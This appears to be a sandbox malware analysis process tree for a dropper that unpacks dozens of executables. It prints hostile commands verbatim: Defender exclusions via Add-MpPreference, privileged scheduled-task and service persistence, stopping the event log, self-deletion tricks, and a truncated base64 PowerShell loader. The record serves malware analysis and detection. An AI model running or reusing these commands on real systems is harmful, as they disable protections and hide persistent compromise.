- C:\Users\Admin\AppData\Local\Temp\a\1111.exe
  "C:\Users\Admin\AppData\Local\Temp\a\1111.exe"
  2⤵
  - Executes dropped EXE
  PID:3108
- C:\Users\Admin\AppData\Local\Temp\a\ISetup2.exe
  "C:\Users\Admin\AppData\Local\Temp\a\ISetup2.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4040
- - C:\Users\Admin\AppData\Local\Temp\u348.0.exe
    "C:\Users\Admin\AppData\Local\Temp\u348.0.exe"
    3⤵
    - Executes dropped EXE
    PID:4884
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4884 -s 1096
      4⤵
      Program crash
      PID:1848
- C:\Users\Admin\AppData\Local\Temp\a\Tester.exe
  "C:\Users\Admin\AppData\Local\Temp\a\Tester.exe"
  2⤵
  - Executes dropped EXE
  PID:3160
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\svchost.exe'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3560
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1760
- C:\Users\Admin\AppData\Local\Temp\a\svchost.exe
  "C:\Users\Admin\AppData\Local\Temp\a\svchost.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:2264
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\Public\svchost.exe"
    3⤵
    - Creates scheduled task(s)
    PID:4796
- C:\Users\Admin\AppData\Local\Temp\a\555.exe
  "C:\Users\Admin\AppData\Local\Temp\a\555.exe"
  2⤵
  - Executes dropped EXE
  PID:4700
- C:\Users\Admin\AppData\Local\Temp\a\Document.exe
  "C:\Users\Admin\AppData\Local\Temp\a\Document.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4300
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\a\Document.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4804
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\gYVTyaODtj.exe"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1364
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gYVTyaODtj" /XML "C:\Users\Admin\AppData\Local\Temp\tmp3004.tmp"
    3⤵
    - Creates scheduled task(s)
    PID:3500
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:364
- - C:\Users\Admin\AppData\Local\Temp\a\Document.exe
    "C:\Users\Admin\AppData\Local\Temp\a\Document.exe"
    3⤵
    - Executes dropped EXE
    PID:5368
- - C:\Users\Admin\AppData\Local\Temp\a\Document.exe
    "C:\Users\Admin\AppData\Local\Temp\a\Document.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:5380
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "msdtc" /tr '"C:\Users\Admin\AppData\Roaming\msdtc.exe"' & exit
      4⤵
      PID:5848
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "msdtc" /tr '"C:\Users\Admin\AppData\Roaming\msdtc.exe"'
        5⤵
        Creates scheduled task(s)
        
        PID:5276
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp62DC.tmp.bat""
      4⤵
      PID:5884
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout 3
        5⤵
        Delays execution with timeout.exe
        
        PID:2312
    - - C:\Users\Admin\AppData\Roaming\msdtc.exe
        
        "C:\Users\Admin\AppData\Roaming\msdtc.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:6080
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\msdtc.exe"
        6⤵
        
        PID:3444
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\gYVTyaODtj.exe"
        6⤵
        
        PID:4840
      - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gYVTyaODtj" /XML "C:\Users\Admin\AppData\Local\Temp\tmpD666.tmp"
        6⤵
        Creates scheduled task(s)
        
        PID:5688
      - C:\Users\Admin\AppData\Roaming\msdtc.exe
        
        "C:\Users\Admin\AppData\Roaming\msdtc.exe"
        6⤵
        
        PID:5828
      - C:\Users\Admin\AppData\Roaming\msdtc.exe
        
        "C:\Users\Admin\AppData\Roaming\msdtc.exe"
        6⤵
        
        PID:5860
- C:\Users\Admin\AppData\Local\Temp\a\BrawlB0t.exe
  "C:\Users\Admin\AppData\Local\Temp\a\BrawlB0t.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:4692
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\a\BrawlB0t.exe'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1648
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'BrawlB0t.exe'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4672
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\OneDrive.exe'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4608
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'OneDrive.exe'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1568
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "OneDrive" /tr "C:\Users\Admin\AppData\Roaming\OneDrive.exe"
    3⤵
    - Creates scheduled task(s)
    PID:364
- C:\Users\Admin\AppData\Local\Temp\a\medcallaboratory5.exe
  "C:\Users\Admin\AppData\Local\Temp\a\medcallaboratory5.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:332
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
    "C:\Users\Admin\AppData\Local\Temp\a\medcallaboratory5.exe"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:988
- C:\Users\Admin\AppData\Local\Temp\a\securitycheck.exe
  "C:\Users\Admin\AppData\Local\Temp\a\securitycheck.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:5012
- C:\Users\Admin\AppData\Local\Temp\a\PrintSpoofer.exe
  "C:\Users\Admin\AppData\Local\Temp\a\PrintSpoofer.exe"
  2⤵
  - Executes dropped EXE
  PID:4236
- C:\Users\Admin\AppData\Local\Temp\a\Adobe_update.exe
  "C:\Users\Admin\AppData\Local\Temp\a\Adobe_update.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:4936
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - Modifies system certificate store
    PID:2420
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4936 -s 804
    3⤵
    - Program crash
    PID:1404
- C:\Users\Admin\AppData\Local\Temp\a\Retailer_prog.exe
  "C:\Users\Admin\AppData\Local\Temp\a\Retailer_prog.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:1048
- C:\Users\Admin\AppData\Local\Temp\a\BroomSetup.exe
  "C:\Users\Admin\AppData\Local\Temp\a\BroomSetup.exe"
  2⤵
  - Executes dropped EXE
  - Checks SCSI registry key(s)
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:5040
- - C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
    "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5816
- C:\Users\Admin\AppData\Local\Temp\a\alexxxxxxxx.exe
  "C:\Users\Admin\AppData\Local\Temp\a\alexxxxxxxx.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:2492
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:3736
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:4196
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:1608
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:572
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:2864
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:1968
  - - C:\Users\Admin\AppData\Roaming\configurationValue\propro.exe
      "C:\Users\Admin\AppData\Roaming\configurationValue\propro.exe"
      4⤵
      Executes dropped EXE
      PID:3736
  - - C:\Users\Admin\AppData\Roaming\configurationValue\Traffic.exe
      "C:\Users\Admin\AppData\Roaming\configurationValue\Traffic.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:2868
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"
      4⤵
      PID:4736
    - - C:\Windows\SysWOW64\choice.exe
        
        choice /C Y /N /D Y /T 3
        5⤵
        
        PID:5400
- C:\Users\Admin\AppData\Local\Temp\a\syncUpd.exe
  "C:\Users\Admin\AppData\Local\Temp\a\syncUpd.exe"
  2⤵
  - Executes dropped EXE
  PID:5020
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5020 -s 1372
    3⤵
    - Program crash
    PID:2648
- C:\Users\Admin\AppData\Local\Temp\a\Ledger-Live.exe
  "C:\Users\Admin\AppData\Local\Temp\a\Ledger-Live.exe"
  2⤵
  - Executes dropped EXE
  PID:4032
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C ping 2.2.2.2 -n 1 -w 3000 > Nul & Del C:\Users\Admin\AppData\Local\Temp\a\Ledger-Live.exe
    3⤵
    PID:324
  - - C:\Windows\SysWOW64\PING.EXE
      ping 2.2.2.2 -n 1 -w 3000
      4⤵
      Runs ping.exe
      PID:5548
- C:\Users\Admin\AppData\Local\Temp\a\1111.exe
  "C:\Users\Admin\AppData\Local\Temp\a\1111.exe"
  2⤵
  - Executes dropped EXE
  PID:5724
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5724 -s 168
    3⤵
    - Program crash
    PID:5876
- C:\Users\Admin\AppData\Local\Temp\a\new1.exe
  "C:\Users\Admin\AppData\Local\Temp\a\new1.exe"
  2⤵
  - Executes dropped EXE
  PID:5868
- C:\Users\Admin\AppData\Local\Temp\a\swiiii.exe
  "C:\Users\Admin\AppData\Local\Temp\a\swiiii.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:2788
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:4668
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - Loads dropped DLL
    - Checks processor information in registry
    PID:5472
- C:\Users\Admin\AppData\Local\Temp\a\ISetup5.exe
  "C:\Users\Admin\AppData\Local\Temp\a\ISetup5.exe"
  2⤵
  - Executes dropped EXE
  PID:5016
- - C:\Users\Admin\AppData\Local\Temp\u3vc.0.exe
    "C:\Users\Admin\AppData\Local\Temp\u3vc.0.exe"
    3⤵
    - Executes dropped EXE
    PID:5900
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5900 -s 1096
      4⤵
      Program crash
      PID:5004
- - C:\Users\Admin\AppData\Local\Temp\u3vc.1.exe
    "C:\Users\Admin\AppData\Local\Temp\u3vc.1.exe"
    3⤵
    - Executes dropped EXE
    - Checks SCSI registry key(s)
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:5948
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5016 -s 1560
    3⤵
    - Program crash
    PID:1848
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5016 -s 1568
    3⤵
    - Program crash
    PID:5600
- C:\Users\Admin\AppData\Local\Temp\a\mstsc.exe
  "C:\Users\Admin\AppData\Local\Temp\a\mstsc.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  - Suspicious use of AdjustPrivilegeToken
  PID:5748
- - C:\Program Files (x86)\Microsoft Jufbhx\Jufrxnb.exe
    "C:\Program Files (x86)\Microsoft Jufbhx\Jufrxnb.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:5684
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5684 -s 628
      4⤵
      Program crash
      PID:5292
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5748 -s 1136
    3⤵
    - Program crash
    PID:5232
- C:\Users\Admin\AppData\Local\Temp\a\crypted_097f1784.exe
  "C:\Users\Admin\AppData\Local\Temp\a\crypted_097f1784.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:5524
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:5372
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5524 -s 832
    3⤵
    - Program crash
    PID:5976
- C:\Users\Admin\AppData\Local\Temp\a\june.exe
  "C:\Users\Admin\AppData\Local\Temp\a\june.exe"
  2⤵
  PID:4796
- - C:\Users\Admin\AppData\Local\Temp\is-C7OVB.tmp\june.tmp
    "C:\Users\Admin\AppData\Local\Temp\is-C7OVB.tmp\june.tmp" /SL5="$502A6,4053053,54272,C:\Users\Admin\AppData\Local\Temp\a\june.exe"
    3⤵
    PID:3184
  - - C:\Users\Admin\AppData\Local\Sun Vox\sunvox32.exe
      "C:\Users\Admin\AppData\Local\Sun Vox\sunvox32.exe" -i
      4⤵
      PID:2648
  - - C:\Users\Admin\AppData\Local\Sun Vox\sunvox32.exe
      "C:\Users\Admin\AppData\Local\Sun Vox\sunvox32.exe" -s
      4⤵
      PID:5768
- C:\Users\Admin\AppData\Local\Temp\a\crypted_33cb9091.exe
  "C:\Users\Admin\AppData\Local\Temp\a\crypted_33cb9091.exe"
  2⤵
  PID:4432
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:4912
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:5656
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4432 -s 872
    3⤵
    - Program crash
    PID:1484
- C:\Users\Admin\AppData\Local\Temp\a\new.exe
  "C:\Users\Admin\AppData\Local\Temp\a\new.exe"
  2⤵
  PID:5220
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:5736
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:5764
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:5160
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:4596
- C:\Users\Admin\AppData\Local\Temp\a\ttt01.exe
  "C:\Users\Admin\AppData\Local\Temp\a\ttt01.exe"
  2⤵
  PID:5668
- C:\Users\Admin\AppData\Local\Temp\a\123p.exe
  "C:\Users\Admin\AppData\Local\Temp\a\123p.exe"
  2⤵
  PID:5160
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
    3⤵
    PID:1160
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
    3⤵
    PID:5364
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
    3⤵
    PID:5420
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
    3⤵
    PID:5804
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe delete "OBGPQMHF"
    3⤵
    - Launches sc.exe
    PID:3024
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe create "OBGPQMHF" binpath= "C:\ProgramData\ndfbaljqaqzm\dckuybanmlgp.exe" start= "auto"
    3⤵
    - Launches sc.exe
    PID:5748
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop eventlog
    3⤵
    - Launches sc.exe
    PID:3016
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe start "OBGPQMHF"
    3⤵
    - Launches sc.exe
    PID:1408
- C:\Users\Admin\AppData\Local\Temp\a\IjerkOff.exe
  "C:\Users\Admin\AppData\Local\Temp\a\IjerkOff.exe"
  2⤵
  PID:4864
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\BlockComponentwebMonitordhcp\AbAw8xfGFsmxdxvuwvbKubDJeV.vbe"
    3⤵
    PID:3444
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\BlockComponentwebMonitordhcp\8H5kf2bUK2r.bat" "
      4⤵
      PID:3572
    - - C:\BlockComponentwebMonitordhcp\agentDllDhcp.exe
        
        "C:\BlockComponentwebMonitordhcp\agentDllDhcp.exe"
        5⤵
        
        PID:2072
      - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Esl\uzs.1.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Esl\uzs.1.exe"
        6⤵
        
        PID:960
- C:\Users\Admin\AppData\Local\Temp\a\ISetup1.exe
  "C:\Users\Admin\AppData\Local\Temp\a\ISetup1.exe"
  2⤵
  PID:1288
- - C:\Users\Admin\AppData\Local\Temp\uzs.0.exe
    "C:\Users\Admin\AppData\Local\Temp\uzs.0.exe"
    3⤵
    PID:440
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 440 -s 1096
      4⤵
      Program crash
      PID:5512
- - C:\Users\Admin\AppData\Local\Temp\uzs.1.exe
    "C:\Users\Admin\AppData\Local\Temp\uzs.1.exe"
    3⤵
    PID:6088
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1288 -s 1556
    3⤵
    - Program crash
    PID:1380
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1288 -s 1180
    3⤵
    - Program crash
    PID:2552
- C:\Users\Admin\AppData\Local\Temp\a\diufhloadme.exe
  "C:\Users\Admin\AppData\Local\Temp\a\diufhloadme.exe"
  2⤵
  PID:4088
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
    3⤵
    PID:5596
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\grhgjhjh"
    3⤵
    PID:5856
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\grhgjhjh\grhgjhjh.exe'" /f
    3⤵
    PID:2116
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\grhgjhjh\grhgjhjh.exe'" /f
      4⤵
      Creates scheduled task(s)
      PID:5376
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c copy "C:\Users\Admin\AppData\Local\Temp\a\diufhloadme.exe" "C:\Users\Admin\AppData\Roaming\grhgjhjh\grhgjhjh.exe"
    3⤵
    PID:5416
- C:\Users\Admin\AppData\Local\Temp\a\ghhjhjhsg.exe
  "C:\Users\Admin\AppData\Local\Temp\a\ghhjhjhsg.exe"
  2⤵
  PID:5828
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks" /create /tn "hgfhjjhgj" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\ghghghfg\gfhgfgjgf.exe" /rl HIGHEST /f
    3⤵
    - Creates scheduled task(s)
    PID:308
- - C:\Users\Admin\AppData\Roaming\ghghghfg\gfhgfgjgf.exe
    "C:\Users\Admin\AppData\Roaming\ghghghfg\gfhgfgjgf.exe"
    3⤵
    PID:4264
  - - C:\Windows\SYSTEM32\schtasks.exe
      "schtasks" /create /tn "hgfhjjhgj" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\ghghghfg\gfhgfgjgf.exe" /rl HIGHEST /f
      4⤵
      Creates scheduled task(s)
      PID:3440
- C:\Users\Admin\AppData\Local\Temp\a\crypt.exe
  "C:\Users\Admin\AppData\Local\Temp\a\crypt.exe"
  2⤵
  PID:3584
- - C:\Windows\SysWOW64\wscript.exe
    "wscript.exe" "C:\Users\Admin\start.vbs"
    3⤵
    PID:4516
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\temp.bat" "
      4⤵
      PID:5112
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCg0KDQokZW5jb2RlZEFycmF5ID0gQCgxNTksMjIwLDIzOCwyMzgsMjI0LDIzMiwyMjEsMjMxLDI0NCwxNjksMTkyLDIzMywyMzksMjM3LDI0NCwyMDMsMjM0LDIyOCwyMzMsMjM5LDE2OSwxOTYsMjMzLDI0MSwyMzQsMjMwLDIyNCwxNjMsMTU5LDIzMywyNDAsMjMxLDIzMSwxNjcsMTU5LDIzMywyNDAsMjMxLDIzMSwxNjQsMTgyKQ0KJGRlY29kZWRTdHJpbmcgPSBDb252ZXJ0LUFzY2lpVG9TdHJpbmcgJGVuY29kZWRBcnJheQ0KDQoNCiRmaWxlUGF0aCA9IEpvaW4tUGF0aCAkZW52OlVzZXJQcm9maWxlICJleHBsb3Jlci5iYXQiDQokbGFzdE